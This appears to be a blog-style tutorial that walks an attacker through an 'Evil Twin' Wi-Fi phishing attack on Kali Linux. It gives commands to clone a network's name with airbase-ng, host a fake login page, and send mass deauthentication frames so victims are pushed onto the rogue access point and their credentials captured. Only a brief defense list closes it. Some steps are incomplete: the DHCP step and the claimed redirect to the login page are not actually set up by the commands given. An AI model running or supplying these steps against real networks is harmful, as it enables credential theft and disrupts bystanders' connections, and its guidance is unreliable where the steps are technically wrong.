



What is an Evil Twin Attack?

An **Evil Twin Attack** is a type of **Wi-Fi phishing attack** where an attacker sets up a **fake access point (AP)** with the same SSID as a legitimate one. Victims unknowingly connect to this rogue AP, thinking it's safe, allowing the attacker to:

- Steal login credentials (via fake login pages)
- Intercept and manipulate network traffic
- Launch man-in-the-middle (MITM) attacks



Tools Used in Kali Linux

Tool	Purpose
airmon-ng	Enables monitor mode
airodump-ng	Scans and captures Wi-Fi info
airbase-ng	Creates a fake access point
aireplay-ng	Performs deauthentication attacks
dnsmasq	Assigns IP addresses (DHCP)
Apache or Python HTTP server	Hosts fake login portal



Step-by-Step Evil Twin Attack – Kali Linux

1. Enable Monitor Mode

```
airmon-ng start wlan0
```

This creates a monitor interface like wlan0mon.

2. Scan for Wi-Fi Networks

```
airodump-ng wlan0mon
```

Note down:

- **BSSID** (MAC of the real AP)
- **Channel** (CH)
- **ESSID** (Name of the network)

3. Create a Fake Access Point

```
airbase-ng -e "TargetWiFi" -c <channel> wlan0mon
```

- -e: Set fake SSID (must match real one)
- -c: Set the same channel as the real AP

This creates an interface called at0 (the fake AP).

4. Assign IP Address

```
ifconfig at0 up
```

dhclient at0

Or configure DHCP with dnsmasq to give connected clients an IP.

5. Host Fake Login Page (Optional)

- Use Apache or Python HTTP server to host:

```
cd /var/www/html
```

```
sudo python3 -m http.server 80
```

Put your phishing login HTML file in /var/www/html.

6. Deauth Real AP to Force Users to Your Fake One

```
aireplay-ng --deauth 1000 -a <Real_AP_BSSID> wlan0mon
```

This disconnects users from the real network, forcing them to connect to yours.

7. Capture Credentials

Once users connect and open a webpage, they'll be redirected to your fake login page. Any credentials entered are saved in logs.



Defense Against Evil Twin

1.  **Always check HTTPS and SSL certificates**
2.  **Avoid connecting to open Wi-Fi networks**
3.  **Use VPNs on public Wi-Fi**
4.  **User awareness & security training**
5.  **Use wireless intrusion detection/prevention systems (WIDS/WIPS)**